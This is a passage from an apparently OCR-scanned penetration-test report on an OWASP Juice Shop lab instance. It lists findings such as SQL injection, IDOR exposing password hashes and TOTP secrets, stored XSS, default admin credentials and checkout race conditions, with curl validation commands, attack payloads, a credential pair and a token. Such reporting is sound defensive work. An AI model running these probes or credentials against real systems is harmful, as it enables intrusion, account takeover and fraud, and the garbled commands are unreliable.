EVIDENCE

GET http://172.17.0.4:3000/rest/products/search?q= — confirmed by Nuclei DAST as

critical error-based SQL injection

REMEDIATION

IMMEDIATE (24-48H)

Disable or restrict the vulnerable search endpoint until SQL concatenation is
removed.

SHORT-TERM (1-2 WEEKS)

Use parameterized queries or prepared statements for all database access and
validate the q parameter server-side.

LONG-TERM (1-3 MONTHS)

Adopt a secure data access layer, least-privilege database accounts, and automated
SAST/DAST checks for injection flaws.

VALIDATION STEPS

$ curl -i 'http://<TARGET_DOMAIN>/rest/products/search?q=%27"
$ curl -s 'http://<TARGET_DOMAIN>/rest/products/search?q=%27"' | grep -Ei
'SQL | sglite|syntax|error’

$ curl -s 'http://<TARGET_DOMAIN>/rest/products/search?g=test’' | head

CRITICAL VULN-lunar-ti-0007
Sensitive Authentication Details Exposure via IDOR

CWE: CWE-639 CVss: 6.5 AV: IDOR

Asset: http://172.17.0.4:3000/rest/user/authentication-details/ Target: http://172.17.0.4:3000



OWASP: AQ1:2021 — Broken Access Control

DESCRIPTION

The /rest/user/authentication-details/ endpoint returns all users' authentication details,
including password hashes, roles, TOTP secrets, and login IPs. This enables credential

compromise and account takeover.

IMPACT

Exposure of password hashes, roles, TOTP secrets, and login IPs enables credential
compromise and MFA bypass attempts. This can lead to large-scale account takeover
and privacy violations.

DIMENSION RATING

Confidentiality High

Integrity Medium

Availability Low

Compliance High
EVIDENCE

Returns ALL users' authentication details (10,344 bytes) including password hashes,

roles, TOTP secrets, and login IPs. Accessible with forged customer JWT.

REMEDIATION

IMMEDIATE (24-48H)

Disable the endpoint or restrict it to authorized administrative workflows only, and

remove sensitive fields from responses.

SHORT-TERM (1-2 WEEKS)

Implement object-level authorization checks and rotate exposed TOTP secrets and
affected user credentials.

LONG-TERM (1-3 MONTHS)

Establish API response data minimization standards and automated authorization
tests for every user-scoped endpoint.

VALIDATION STEPS

$ curl -i -H "Authorization: Bearer <JWT_TOKEN>"
"http://<TARGET_DOMAIN>/rest/user/authentication-details/"

$ curl -s -H 'Authorization: Bearer <JWT_TOKEN>'
"http://<TARGET_DOMAIN>/rest/user/authentication-details/’' | jq

$ curl -s -H 'Authorization: Bearer <JWT_TOKEN=>"




"http://<TARGET_DOMAIN>/rest/user/authentication-details/' | grep -Ei

'password|totp|role|lastlLoginIp’



- High Severity Findings

HIGH VULN-lunar-ti-0008

Internal source code paths leaked in Express error pages

AV: Error-based information disclosure Asset: Express.js error pages on port 3000

Target: http://172.17.0.4:3000

DESCRIPTION

Express error pages disclose internal application source paths, including route and
dependency paths. This reveals implementation details and filesystem structure that can
assist attackers in targeting specific files, modules, or framework weaknesses. **Also
includes:** Internal Architecture Disclosure via Error Messages, API Error Message

Disclosure, Implementation Error Message Disclosure

IMPACT

Leaked source paths and dependency locations help attackers fingerprint the framework,
file layout, and likely vulnerable modules. This reduces attacker effort when developing

targeted exploitation paths.

DIMENSION RATING

Confidentiality High

Integrity High

Availability Low

Compliance High
EVIDENCE

Source code paths leaked in Express error pages - /juice-shop/build/routes/ and

/juice-shop/node_modules/ on port 3000

REMEDIATION

IMMEDIATE (24-48H)

Disable verbose error output in production and return generic error pages.

SHORT-TERM (1-2 WEEKS)

Configure centralized error handling that logs full stack traces server-side only.

LONG-TERM (1-3 MONTHS)

Adopt production-safe runtime configuration baselines and test deployments for

debug disclosure before release.




VALIDATION STEPS

$ curl -i 'http://<TARGET_DOMAIN>/rest/products/search?q=%27"
$ curl -s 'http://<TARGET_DOMAIN>/rest/products/search?q=%27"' | grep -Ei
' /app/ |node_modules |routes|express'’

$ curl -sI "http://<TARGET_DOMAIN>/rest/products/search?q=%27"

HIGH VULN-1lunar-ti-0009

Permissive CORS wildcard policy

AV: CORS misconfiguration Asset: HTTP CORS headers on port 3000 Target: http://172.17.0.4:3000

DESCRIPTION

The application allows cross-origin requests from any domain using a wildcard CORS
policy. If sensitive endpoints rely on browser-based access controls or cookies, this may
allow malicious websites to interact with the application cross-origin.

IMPACT

A wildcard CORS policy can allow malicious websites to make cross-origin requests to
the application. If sensitive APIs are browser-accessible, this can increase the likelihood
of data theft or unauthorized actions.

DIMENSION RATING

Confidentiality High

Integrity Medium

Availability Low

Compliance High
EVIDENCE

Access-Control-Allow-Origin: #*

REMEDIATION

IMMEDIATE (24-48H)

Remove Access-Control-Allow-Origin: * from sensitive responses.

SHORT-TERNM (1-2 WEEKS)

Implement an explicit allowlist of trusted origins and avoid allowing credentials
unless required.

LONG-TERM (1-3 MONTHS)

Manage CORS through a central security gateway or middleware with environment-
specific policy review.




VALIDATION STEPS

$ curl -i -H 'Origin: https://evil.example' 'http://<TARGET_DOMAIN>/'

$ curl -sI -H 'Origin: https://evil.example' 'http://<TARGET_DOMAIN>/' | grep -i
'access-control’

$ curl -sI -H 'Origin: https://evil.example’

"http://<TARGET_DOMAIN>/rest/user/whoami’

HIGH VULN-lunar-ti-0010
Publicly exposed Swagger API documentation

AV: Unauthenticated API documentation exposure Asset: http://172.17.0.4:3000/api-docs/

Target: http://172.17.0.4:3000

DESCRIPTION
Swagger APl documentation is publicly accessible and reveals the application's API

surface. This exposes endpoint structure, routes, and expected interactions, making it

easier for attackers to discover and target sensitive functionality.

IMPACT

Public Swagger documentation exposes endpoints, parameters, and expected workflows
to unauthenticated users. This accelerates attacker reconnaissance and makes sensitive

APIs easier to target.

DIMENSION RATING

Confidentiality High

Integrity Medium

Availability Low

Compliance High
EVIDENCE

/api-docs/ - Swagger UI (200)

REMEDIATION

IMMEDIATE (24-48H)

Restrict /api-docs to authenticated administrators or internal networks.

SHORT-TERM (1-2 WEEKS)

Remove sensitive internal endpoints from public documentation and require
authorization to access APl schemas.

LONG-TERM (1-3 MONTHS)




Separate internal and external APl documentation with release controls aligned to
API exposure policy.

VALIDATION STEPS

$ curl -i 'http://<TARGET_DOMAIN>/api-docs/"’
$ curl -s 'http://<TARGET_DOMAIN>/api-docs/' | grep -Ei 'swagger|openapi|api-docs'

$ curl -s 'http://<TARGET_DOMAIN>/api-docs/swagger.json' | head

HIGH VULN-lunar-ti-0011

Valid weak/default admin credentials
AV: Default credential login Asset: http://172.17.0.4:3000/#/login Target: http://172.17.0.4:3000

DESCRIPTION

Valid administrator credentials were discovered and successfully used to authenticate to
the application. This allows unauthorized administrative access if the credentials are
known or guessable.

IMPACT

Weak or default administrator credentials allow unauthorized users to gain privileged
access. This can result in data exposure, configuration changes, and full application
compromise.

DIMENSION RATING

Confidentiality High

Integrity Medium

Availability Low

Compliance High
EVIDENCE

admin@juice-sh.op:adminl23 a http://172.17.0.4:3000/#/1login (VALID)

REMEDIATION

IMMEDIATE (24-48H)

Disable the affected administrator account or rotate its password to a strong unique

value immediately.

SHORT-TERM (1-2 WEEKS)

Enforce strong password policy, MFA for administrators, and review admin account
activity.

LONG-TERM (1-3 MOMTHS)




Implement privileged access management and periodic credential audits for all
administrative accounts.

VALIDATION STEPS

$ curl -i 'http://<TARGET_DOMAIN>/#/login’

$ curl -i -H 'Content-Type: application/json' --data-raw '{"email”:"
<ADMIN_EMAIL>","password":"<ADMIN_PASSWORD>"}"
"http://<TARGET_DOMAIN>/rest/user/login'’

$ curl -s -H 'Content-Type: application/json’ --data-raw '{"email":"
<ADMIN_EMAIL>","password":"<ADMIN_PASSWORD>"}"
"http://<TARGET_DOMAIN>/rest/user/login' | iq .

HIGH VULN-1lunar-ti-0012
Disclosed Application Credentials

AV: Credential disclosure Asset: Login page http://172.17.0.4:3000/#/login

Target: http://172.17.0.4:3000

DESCRIPTION

Credentials for an administrative-looking account were found in the test output. If valid,
these credentials could allow unauthorized access to privileged application functionality.
**Also includes:** Valid Application Credentials Discovered

IMPACT

Disclosed application credentials may provide direct access to privileged functionality if

valid. Even if expired, they indicate weak secret handling and may enable password reuse

attacks.
DIMENSION RATING
Confidentiality High
Integrity Medium
Availability Low
Compliance High
EVIDENCE

admin@juice-sh.op:adminl23ahttp://172.17.0.4:3000/#/1login

REMEDIATION

IMMEDIATE (24-48H)

Revoke the disclosed credentials, rotate the account password, and invalidate active
sessions.




SHORT-TERM (1-2 WEEKS)

Review logs for use of the disclosed account and remove credentials from test
output, artifacts, and pipelines.

LONG-TERM (1-3 MONTHS)

Adopt secret scanning, secure test data practices, and automated credential
rotation for exposed secrets.

VALIDATION STEPS

$ curl -i 'http://<TARGET_DOMAIN>/#/login’

$ curl -i -H 'Content-Type: application/json' --data-raw '{"email”:"
<DISCLOSED_EMAIL>", "password":"<DISCLOSED_PASSWORD>"}"
'http://<TARGET_DOMAIN>/rest/user/login’

$ curl -s -H 'Content-Type: application/json’ --data-raw '{"email":"
<DISCLOSED_EMAIL>", "password":"<DISCLOSED_PASSWORD>"}"
"http://<TARGET_DOMAIN>/rest/user/login' | jq .

HIGH VULN-lunar-ti-0013

Quarantine Directory Exposes Malware URL Files

AV: Directory listing / sensitive file exposure Asset: GET /ftp/quarantine/ on port 3000

Target: http://172.17.0.4:3000

DESCRIPTION

The /ftp/quarantine/ directory contains malware URL files for multiple platforms. Exposing
these files may disclose internal incident-response artifacts, malware indicators, or
unsafe URLs.

IMPACT

Exposed quarantine artifacts may reveal malware indicators, investigation details, or
unsafe URLs. This can compromise incident-response confidentiality and expose users to
harmful links.

DIMENSION RATING

Confidentiality High

Integrity Medium

Availability Low

Compliance High
EVIDENCE

Quarantine directory at /ftp/quarantine/ contains malware URL files:



Windows/Linux/macOS/ARM variants

REMEDIATION

IMMEDIATE (24-48H)

Remove quarantine files from the public web root and block access to
/ftp/quarantine.

SHORT-TERM (1-2 WEEKS)

Store incident-response artifacts in access-controlled internal repositories only.

LONG-TERM (1-3 MONTHS)

Implement data handling procedures for malware and security artifacts, including
classification and publication review.

VALIDATION STEPS

$ curl -i 'http://<TARGET_DOMAIN>/ftp/quarantine/’
$ curl -s 'http://<TARGET_DOMAIN>/ftp/quarantine/' | grep -Ei
"href |url|malware |quarantine’

$ curl -sI 'http://<TARGET_DOMAIN>/ftp/quarantine/’

HIGH VULN-lunar-ti-0014
/api/Users endpoint exposes all user data

AV: Sensitive data exposure Asset: /api/Users on port 3000 Target: http://172.17.0.4:3000

DESCRIPTION

The /api/Users endpoint returns the complete user list, including emails, roles, profile
images, timestamps, and admin accounts. This exposes sensitive user information to
anyone with an admin JWT, including tokens obtained via the hardcoded admin
credentials. **Also includes:** Unauthenticated User Data Exposure via /api/Users

IMPACT

Exposure of the full user list can disclose personal data, administrative accounts, and
account metadata. Attackers can use this information for phishing, credential attacks, and
privilege targeting.

DIMENSION RATING
Confidentiality High
Integrity Medium
Availability Low
Compliance High

EVIDENCE



Evidence: exploits/api_users.txt; Returns complete user list with emails, roles,
profile images, and timestamps. Includes admin accounts (adminajuice-sh.op,

bkimminich). Accessible with admin JWT token.

REMEDIATION

IMMEDIATE (24-48H)

Restrict /api/Users to authorized administrators and remove unnecessary sensitive
fields from responses.

SHORT-TERM (1-2 WEEKS)

Add role-based and object-level authorization checks with pagination and field-level
filtering.

LONG-TERM (1-3 MONTHS)

Define a privacy-by-design APl model with data minimization and recurring
authorization test coverage.

VALIDATION STEPS

$ curl -i -H 'Authorization: Bearer <JWT_TOKEN>' ‘'http://<TARGET_DOMAIN>/api/Users'
$ curl -s -H 'Authorization: Bearer <JWT_TOKEN>' ‘'http://<TARGET_DOMAIN>/api/Users'’
iq .

$ curl -s -H 'Authorization: Bearer <JWT_TOKEN>' ‘'http://<TARGET_DOMAIN>/api/Users’

grep -Ei 'email|role|admin|deluxeToken'

HIGH VULN-lunar-ti-0015
/api/Challenges endpoint exposes challenge solution data

AV: Sensitive data exposure Asset: /api/Challenges on port 3000 Target: http://172.17.0.4:3000

DESCRIPTION

The /api/Challenges endpoint returns the complete challenge list, including keys, names,
descriptions, hints, and solution data. This discloses sensitive application challenge
metadata and allows attackers to bypass intended exploitation steps.

IMPACT

Challenge solution disclosure reveals hidden application logic and bypasses intended
validation paths. In production-equivalent systems, similar metadata leakage can expose
business rules and internal controls.

DIMENSION RATING
Confidentiality High

Integrity Medium



DIMENSION RATING

Availability Low
Compliance High
EVIDENCE

Evidence: exploits/api_challenges.txt; Returns complete challenge list with keys,

names, descriptions, hints, and solution data.

REMEDIATION

IMMEDIATE (24-48H)

Remove solution data from client-accessible APl responses.

SHORT-TERNM (1-2 WEEKS)

Split internal challenge administration APIs from public challenge display APIs and

enforce authorization.

LONG-TERM (1-3 MONTHS)

Adopt API response review processes to prevent internal-only fields from being

exposed to clients.

VALIDATION STEPS

$ curl -i -H 'Authorization: Bearer <JWT_TOKEN>'
"http://<TARGET_DOMAIN>/api/Challenges’

$ curl -s -H 'Authorization: Bearer <JWT_TOKEN>'
"http://<TARGET_DOMAIN>/api/Challenges’' | iq .

$ curl -s -H 'Authorization: Bearer <JWT_TOKEN>"

"http://<TARGET_DOMAIN>/api/Challenges’ | grep -Ei 'solution|keyl|hint’

HIGH VULN-1lunar-ti-0017
Stored XSS in Complaints API

CWE: CWE-79 CVSS: 6.1 AV: Stored XSS
Asset: POST /api/Complaints, message parameter, port 3000 Target: http://172.17.0.4:3000

OWASP: A03:2021 — Injection

DESCRIPTION

The Complaints API stores attacker-controlled input from the message field and returns it
unescaped in JSON responses. If the stored complaint data is rendered by the SPA,
JavaScript can execute in another user's browser context.

IMPACT



Stored XSS can execute attacker-controlled JavaScript in another user's browser if the

stored complaint is rendered by the SPA. This may lead to session theft, unauthorized

actions, or compromise of administrative users.

DIMENSION RATING

Confidentiality High

Integrity Medium

Availability Low

Compliance High
EVIDENCE

POST /api/Complaints with header Authorization: Bearer <JWT> and body: {"message":

"

<script>alert(1)</script>"}; GET /api/Complaints returns the stored payload unescaped

REMEDIATION

IMMEDIATE (24-48H)

malicious stored content.

SHORT-TERM (1-2 WEEKS)

restrictive Content Security Policy.

LONG-TERM (1-3 MONTHS)

stored and reflected inputs.

VALIDATION STEPS

",

$ curl -s -H "Authorization: Bearer <JWT_TOKEN>"

$ curl -s -H "Authorization: Bearer <JWT_TOKEN>"

"http://<TARGET_DOMAIN>/api/Complaints’ | iq .

HIGH VULN-lunar-ti-0020

Sanitize or encode complaint messages before rendering and remove existing

Implement context-aware output encoding, server-side input validation, and a

$ curl -i -X POST -H 'Authorization: Bearer <JWT_TOKEN>"' -H 'Content-Type:
application/json' --data-raw '{"message"”:"xss-test-<script>alert(1)

</script>","UserId":1}' 'http://<TARGET_DOMAIN>/api/Complaints’

"http://<TARGET_DOMAIN>/api/Complaints’' | grep 'xss-test’

Password Hash Leakage via saveLoginlp Endpoint

AV: Sensitive data exposure Asset: GET /rest/savelLoginIp

DESCRIPTION

Target: http://172.17.0.4:3000

Standardize safe rendering components and add automated XSS regression tests for



The savelLoginlp REST endpoint exposes user data including password hashes. Disclosure

of password hashes can enable offline password cracking and credential reuse attacks.

IMPACT

Password hash leakage enables offline cracking and increases the risk of credential reuse
attacks. Compromised credentials can lead to user account takeover and broader access

across systems.

DIMENSION RATING

Confidentiality High

Integrity Medium

Availability Low

Compliance High
EVIDENCE

GET /rest/savelLoginIp leaks user data including password hash

REMEDIATION

IMMEDIATE (24-48H)

Disable the endpoint or remove password hashes and sensitive user fields from its
response.

SHORT-TERM (1-2 WEEKS)

Review all user-related REST endpoints for excessive data exposure and rotate

exposed credentials as needed.

LONG-TERM (1-3 MONTHS)

Implement centralized response schemas with field-level allowlisting and automated
sensitive-data leakage checks.

VALIDATION STEPS

$ curl -i -H 'Authorization: Bearer <JWT_TOKEN>'
"http://<TARGET_DOMAIN>/rest/savelLoginIp’

$ curl -s -H 'Authorization: Bearer <JWT_TOKEN>"
"http://<TARGET_DOMAIN>/rest/savelLoginIp' | jq .
$ curl -s -H '"Authorization: Bearer <JWT_TOKEN>"

"http://<TARGET_DOMAIN>/rest/savelLoginIp' | grep -Ei 'password|hash|email’

HIGH VULN-1lunar-ti-0021
JWT Tokens Do Not Expire

AV: JWT session management weakness Asset: JWT authentication tokens for http://172.17.0.4:3000



Target: http://172.17.0.4:3000

DESCRIPTION

Issued JWTs did not contain an exp claim. Tokens without expiration remain valid
indefinitely if not otherwise revoked, increasing the impact of token theft or leakage.
INPACT

JWTs without expiration remain usable indefinitely if stolen or logged. This significantly
increases the impact window of token theft and complicates incident response.

DIMENSION RATING

Confidentiality High

Integrity Medium

Availability Low

Compliance High
EVIDENCE

JWT header: {"typ":"JWT","alg":"RS256"}; payload contains iat: 1781258072 but no exp.

Analyzer output: [!] No 'exp' claim - token never expires
REMEDIATION
IMMEDIATE (24-48H)

Invalidate existing tokens and issue new JWTs with short expiration times.

SHORT-TERNM (1-2 WEEKS)

Add exp, iat, issuer, and audience validation and implement refresh-token rotation.

LONG-TERM (1-3 MONTHS)

Centralize token lifecycle management with revocation, session monitoring, and

periodic authentication control reviews.

VALIDATION STEPS

$ TOKEN=$(curl -s -H 'Content-Type: application/json’' --data-raw '{"email":"
<USER_EMAIL>", "password”:"<PASSWORD>"}' 'http://<TARGET_DOMAIN>/rest/user/login’' | jq
-r '.authentication.token')

$ echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | iq .

$ echo $TOKEN | cut -d. -f2 | baseb4 -d 2>/dev/null | grep -E '"exp"' || true

HIGH VULN-1lunar-ti-0022

No Authentication Enforcement on Al Chat Endpoint

AV: Authentication bypass Asset: POST /rest/chat on port 3000 Target: http://172.17.0.4:3000



DESCRIPTION

The /rest/chat endpoint accepts requests without requiring authentication or a JWT.
Authenticated and unauthenticated requests receive identical responses, allowing any
unauthenticated user to interact with the Al chatbot interface.

IMPACT

Unauthenticated access to the Al chat endpoint allows anyone to consume application
resources and interact with functionality intended for users. This may increase operating
costs, expose internal behavior, and enable abuse at scale.

DIMENSION RATING

Confidentiality High

Integrity High

Availability Low

Compliance High
EVIDENCE

POST /rest/chat accepts requests without any authentication (JWT not required); both

authenticated and unauthenticated requests receive identical responses

REMEDIATION

IMMEDIATE (24-48H)

Require authentication for /rest/chat and block unauthenticated requests.

SHORT-TERNM (1-2 WEEKS)

Add per-user rate limits, abuse monitoring, and authorization checks for chat
capabilities.

LONG-TERM (1-3 MONTHS)

Place Al features behind a dedicated access-control and cost-governance layer.

VALIDATION STEPS

$ curl -i -X POST -H 'Content-Type: application/json' --data-raw
"{"message":"hello"}' 'http://<TARGET_DOMAIN>/rest/chat’

$ curl -i -X POST -H 'Authorization: Bearer <JWT_TOKEN>' -H 'Content-Tuype:
application/json’ --data-raw '{"message"”:"hello"}' 'http://<TARGET_DOMAIN>/rest/chat’
$ curl -s -X POST -H 'Content-Type: application/json' --data-raw

v

{"message”:"hello"}' 'http://<TARGET_DOMAIN>/rest/chat' | ijq .

HIGH VULN-lunar-ti-0026

IDOR on /api/Users/{id}



CWE: CWE-639 CVSS: 6.5 AV: IDOR / parameter tampering
Asset: http://172.17.0.4:3000/api/Users/{id} Target: http://172.17.0.4:3000

OWASP: A0L1:2021 — Broken Access Control

DESCRIPTION

Any authenticated user can access other users' profile data by changing the user ID
parameter. This exposes email addresses, roles, deluxeToken values, profile images,
account status, and timestamps. **Also includes:** IDOR Exposes Full User Database,
Sequential User IDOR Enumeration

IMPACT

IDOR on user records allows authenticated users to enumerate other users' profile data
and account metadata. This can expose Pll and support targeted attacks against
privileged accounts.

DIMENSION RATING

Confidentiality High

Integrity Medium

Availability Low

Compliance High
EVIDENCE

GET /api/Users/1 -> 200 OK; GET /api/Users/2 -> 200 OK; GET /api/Users/3 -> 200 OK;
GET /api/Users/4 -> 200 OK; GET /api/Users/5 -> 200 OK; GET /api/Users/22 -> 200 OK;
cisoajuice-sh.op (id=5) deluxeToken exposed:

d715c2¢75d4a42d38250050e000163c1959b51165373F17bd8eed7bled5bf20d

REMEDIATION

IMMEDIATE (24-48H)

Deny access to /api/Users/{id} unless the requester owns the record or has an
authorized admin role.

SHORT-TERNM (1-2 WEEKS)

Implement object-level authorization checks and replace sequential IDs with non-
enumerable identifiers where appropriate.

LONG-TERM (1-3 MONTHS)

Adopt an authorization framework with centralized policy enforcement and
automated IDOR test cases.

VALIDATION STEPS

$ curl -i -H 'Authorization: Bearer <JWT_TOKEN>' ‘'http://<TARGET_DOMAIN>/api/Users/1’

$ curl -i -H 'Authorization: Bearer <JWT_TOKEN>' ‘'http://<TARGET_DOMAIN>/api/Users/2'




$ curl -s -H 'Authorization: Bearer <JWT_TOKEN>' 'http://<TARGET_DOMAIN>/api/Users/2’

| iq .

HIGH VULN-lunar-ti-0027
Missing Authentication on Admin Endpoints

AV: Missing authentication / unauthenticated access
Asset: http://172.17.0.4:3000/rest/admin/application-configuration and /rest/admin/application-version

Target: http://172.17.0.4:3000

DESCRIPTION

Administrative endpoints are accessible without authentication. This exposes server
configuration, application settings, domain, theme, and application version information to
unauthenticated attackers.

IMPACT

Unauthenticated administrative endpoints disclose configuration and version information.
Attackers can use this data to fingerprint the environment and identify targeted

exploitation opportunities.

DIMENSION RATING

Confidentiality High

Integrity Medium

Availability Low

Compliance High
EVIDENCE

Unauthenticated: GET /rest/admin/application-configuration -> 200 OK; GET

/rest/admin/application-version -> 200 OK (returns "20.0.0")

REMEDIATION

IMMEDIATE (24-48H)

Block unauthenticated access to all /rest/admin endpoints.

SHORT-TERM (1-2 WEEKS)

Require verified administrator roles and add authorization middleware to every
administrative route.

LONG-TERM (1-3 MONTHS)

Maintain an administrative APl inventory with continuous tests ensuring admin
routes require strong authentication and authorization.




VALIDATION STEPS

$ curl -i 'http://<TARGET_DOMAIN>/rest/admin/application-configuration’
$ curl -i 'http://<TARGET_DOMAIN>/rest/admin/application-version’

$ curl -s 'http://<TARGET_DOMAIN>/rest/admin/application-configuration’ | jq .

HIGH VULN-lunar-ti-0047

Race Condition - Checkout Double-Spend

AV: Race condition Asset: POST /rest/basket/1/checkout on port 3000

Target: http://172.17.0.4:3000

DESCRIPTION

The checkout endpoint lacks concurrency control or idempotency protections. Twenty
concurrent checkout requests all succeeded with unique order confirmations, allowing
duplicate order processing, inventory bypass, and potential financial loss.

IMPACT

Concurrent checkout requests can create duplicate orders or bypass inventory and
payment assumptions. This can cause financial loss, fulfillment errors, and customer

service impact.

DIMENSION RATING

Confidentiality High

Integrity Medium

Availability Low

Compliance High
EVIDENCE

20/20 concurrent requests succeeded with unique order confirmations

REMEDIATION

IMMEDIATE (24-48H)

Temporarily serialize checkout processing per basket or disable repeated checkout
submissions for the same basket.

SHORT-TERNM (1-2 WEEKS)

Implement idempotency keys, row-level locking, and transaction boundaries around
checkout.

LONG-TERM (1-3 MONTHS)




Adopt concurrency-safe order processing architecture with queueing, deduplication,
and invariant-based tests.

VALIDATION STEPS

$ curl -i -X POST -H "Authorization: Bearer <JWT_TOKEN>"
"http://<TARGET_DOMAIN>/rest/basket/1/checkout"’

$ seq 1 20 | xargs -P20 -I{} curl -s -o /dev/null -w '%{http_code}\n' -X POST -H
'Authorization: Bearer <JWT_TOKEN>' 'http://<TARGET_DOMAIN>/rest/basket/1/checkout’
$ curl -s -H 'Authorization: Bearer <JWT_TOKEN>'

"http://<TARGET_DOMAIN>/rest/basket/1' | jq .

HIGH VULN-lunar-ti-0048
Race Condition - B2B Orders Duplicate Processing
AV: Race condition Asset: POST /b2b/v2/orders on port 3000 Target: http://172.17.0.4:3000

DESCRIPTION

The B2B orders endpoint does not enforce proper concurrency control. Twenty
concurrent requests succeeded and returned the same order number, indicating

duplicate processing and possible multiple billing records.

IMPACT

Duplicate B2B order processing can result in repeated fulfillment actions, inconsistent
order state, or multiple billing records. This directly impacts revenue assurance and

operational integrity.

DIMENSION RATING

Confidentiality High

Integrity Medium

Availability Low

Compliance High
EVIDENCE

20/20 concurrent requests succeeded, all returned same orderNo

REMEDIATION

IMMEDIATE (24-48H)

Add a temporary per-user or per-order mutex to prevent concurrent duplicate B2B
order submissions.

SHORT-TERNM (1-2 WEEKS)




Use idempotency keys and database uniqueness constraints for order creation.

LONG-TERM (1-3 MONTHS)

Design B2B ordering as an idempotent workflow with state-machine validation,
queue processing, and reconciliation controls.

VALIDATION STEPS

$ curl -i -X POST -H 'Authorization: Bearer <JWT_TOKEN>' -H 'Content-Tuype:
application/json’ --data-raw '{}' 'http://<TARGET_DOMAIN>/b2b/v2/orders’

$ seq 1 20 | xargs -P20 -I{} curl -s -X POST -H 'Authorization: Bearer <JWT_TOKEN>' -
H 'Content-Type: application/json' --data-raw '{}’
"http://<TARGET_DOMAIN>/b2b/v2/orders’

$ seq 1 5 | xargs -P5 -I{} curl -s -o /dev/null -w '%{http_code}\n' -X POST -H
'Authorization: Bearer <JWT_TOKEN>' -H 'Content-Type: application/json’' --data-raw

"{}" "http://<TARGET_DOMAIN>/b2b/v2/orders"

HIGH VULN-lunar-ti-0064
Missing Authorization on Admin Application Configuration Endpoint

AV: Authorization bypass Asset: GET /rest/admin/application-configuration

Target: http://172.17.0.4:3000

DESCRIPTION

An admin endpoint returned application and server configuration data when accessed
using a forged admin JWT accepted by the application. Exposure of configuration details
can aid further attacks against the application and infrastructure. **Also includes:**
Application Configuration Disclosure

IMPACT

Application configuration disclosure can reveal server settings, feature flags, domains,
and implementation details. Attackers can use this information to plan more accurate

attacks against the application and infrastructure.

DIMENSION RATING

Confidentiality High

Integrity Medium

Availability Low

Compliance High
EVIDENCE

GET /rest/admin/application-configuration -> 200 OK; exposed app/server

configuration.



REMEDIATION

IMMEDIATE (24-48H)

Restrict the endpoint to verified administrators and remove sensitive configuration

fields from the response.

SHORT-TERM (1-2 WEEKS)

Add explicit authorization checks and audit all administrative endpoints for data

exposure.

LONG-TERM (1-3 MONTHS)

Centralize admin APl authorization and use configuration secrecy reviews as part of
release governance.

VALIDATION STEPS

$ curl -i -H '"Authorization: Bearer <JWT_TOKEN>"
"http://<TARGET_DOMAIN>/rest/admin/application-configuration’

$ curl -s -H 'Authorization: Bearer <JWT_TOKEN>'
"http://<TARGET_DOMAIN>/rest/admin/application-configuration’ | iq .

$ curl -s 'http://<TARGET_DOMAIN>/rest/admin/application-configuration' | head

HIGH VULN-lunar-ti-0065
Missing Authorization on Admin Application Version Endpoint

AV: Authorization bypass Asset: GET /rest/admin/application-version

Target: http://172.17.0.4:3000

DESCRIPTION

An admin endpoint returned the application version when accessed using a forged admin
JWT accepted by the application. Version disclosure can help attackers identify known
vulnerabilities and tailor exploitation attempts. **Also includes:** Admin Application

Version Accessible Without Admin Privileges

IMPACT

Version disclosure helps attackers identify known vulnerabilities and tailor payloads to

the deployed software. This increases the likelihood of successful targeted exploitation.

DIMENSION RATING
Confidentiality High
Integrity Medium
Availability Low

Compliance High



EVIDENCE

GET /rest/admin/application-version -> 200 OK; exposed version 20.0.0.

REMEDIATION

VALIDATION STEPS

$ curl -i 'http://<TARGET_DOMAIN>/rest/admin/application-version’

$ curl -i -H 'Authorization: Bearer <JWT_TOKEN>'
"http://<TARGET_DOMAIN>/rest/admin/application-version’

$ curl -s 'http://<TARGET_DOMAIN>/rest/admin/application-version' | jq .




-~ Medium Severity Findings

MEDIUM  VULN-lunar-ti-0028
Authentication bypass on whoami endpoint

AV: Authentication bypass Asset: http://172.17.0.4:3000/rest/user/whoami

Target: http://172.17.0.4:3000

DESCRIPTION

The /rest/user/whoami endpoint returns user information without a valid authenticated
session. This indicates improper authentication enforcement and may allow unauthorized
users to retrieve account-related data. **Also includes:** Unauthenticated whoami
Endpoint Information Exposure

IMPACT

A whoami endpoint that responds without valid authentication may disclose account
state or session-related data. This indicates weak authentication enforcement and can
support account enumeration or session confusion attacks.

DIMENSION RATING

Confidentiality Medium

Integrity Medium

Availability Low

Compliance Medium
EVIDENCE

/rest/user/whoami (200 - returns user info)

REMEDIATION

IMMEDIATE (24-48H)

Require a valid authenticated session before returning whoami data.

SHORT-TERNM (1-2 WEEKS)

Review authentication middleware placement for all user endpoints and return 401
for unauthenticated requests.

LONG-TERM (1-3 MONTHS)

Implement centralized authentication enforcement with automated tests for
unauthenticated access paths.




VALIDATION STEPS

$ curl -i 'http://<TARGET_DOMAIN>/rest/user/whoami’
$ curl -s 'http://<TARGET_DOMAIN>/rest/user/whoami' | iq .
$ curl -i -H "Authorization: Bearer invalid’

"http://<TARGET_DOMAIN>/rest/user/whoami’

MEDIUM VULN-1lunar-ti-0029
Rate limiting configuration exposed in headers

AV: Security control information disclosure
Asset: Rate-limited endpoints on port 3000, including /rest/user/reset-password

Target: http://172.17.0.4:3000

DESCRIPTION

Rate limiting details are exposed through HTTP response headers. Revealing the
configured limit and remaining request count can help attackers tune brute-force or
enumeration attempts to avoid triggering controls.

IMPACT

Rate-limit headers disclose threshold and remaining request information that attackers
can use to tune automated abuse. This can reduce the effectiveness of brute-force and

enumeration defenses.

DIMENSION RATING

Confidentiality Medium

Integrity Medium

Availability Low

Compliance Medium
EVIDENCE

/rest/user/reset-password (rate limited, x-ratelimit-limit: 100)

REMEDIATION

IMMEDIATE (24-48H)

Suppress detailed rate-limit headers on sensitive endpoints where they are not
required.

SHORT-TERN (1-2 WEEKS)

Tune rate limits and abuse detection without exposing actionable counters to
clients.

LONG-TERM (1-3 MONTHS)




Deploy adaptive throttling and centralized abuse monitoring that does not disclose
operational thresholds.

VALIDATION STEPS

$ curl -i 'http://<TARGET_DOMAIN>/rest/user/reset-password’

$ curl -sI 'http://<TARGET_DOMAIN>/rest/user/reset-password’ | grep -Ei
‘rate|limit|remaining|retry’

$ for i in 1 2 3; do curl -sI 'http://<TARGET_DOMAIN>/rest/user/reset-password’ |

grep -Ei 'rate|limit|remaining|retry'; done

MEDIUM VULN-lunar-ti-0034
Weak and Missing Security Headers

AV: Security misconfiguration Asset: HTTP response headers Target: http://172.17.0.4:3000

DESCRIPTION

The application is missing multiple browser security headers and uses permissive CORS.
Missing headers such as CSP, HSTS, Referrer-Policy, Permissions-Policy, COOP, COEP, and
CORP can increase exposure to attacks such as cross-site scripting, clickjacking, data
